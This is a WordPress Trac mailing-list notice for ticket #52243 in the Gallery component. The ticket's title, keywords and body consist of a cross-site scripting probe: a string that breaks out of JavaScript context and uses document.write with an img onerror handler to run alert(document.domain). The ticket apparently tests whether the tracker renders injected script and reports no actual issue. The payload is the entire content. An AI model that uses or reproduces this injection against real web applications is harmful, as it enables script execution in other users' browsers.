[wp-trac] [WordPress Trac] #52243: engine[primary_attribute]['+document.write`${unescape`<img src=x onerror=alert(document.domain)>`}`+']

WordPress Trac noreply at wordpress.org
Thu Jan 7 11:48:44 UTC 2021


#52243: engine[primary_attribute]['+document.write`${unescape`<img src=x
onerror=alert(document.domain)>`}`+']
-------------------------+-------------------------------------------------
 Reporter:  huntersec03  |      Owner:  (none)
     Type:  enhancement  |     Status:  new
 Priority:  normal       |  Milestone:  Awaiting Review
Component:  Gallery      |    Version:  5.2.4
 Severity:  normal       |   Keywords:
                         |  helloengine[primary_attribute]['+document.write`${unescape`<img
  Focuses:  privacy      |  src=x onerror=alert(document.domain)>`}`+']
-------------------------+-------------------------------------------------
 engine[primary_attribute]['+document.write`${unescape`<img src=x
 onerror=alert(document.domain)>`}`+']**

 [[Image()]]**

-- 
Ticket URL: <https://core.trac.wordpress.org/ticket/52243>
WordPress Trac <https://core.trac.wordpress.org/>
WordPress publishing platform


More information about the wp-trac mailing list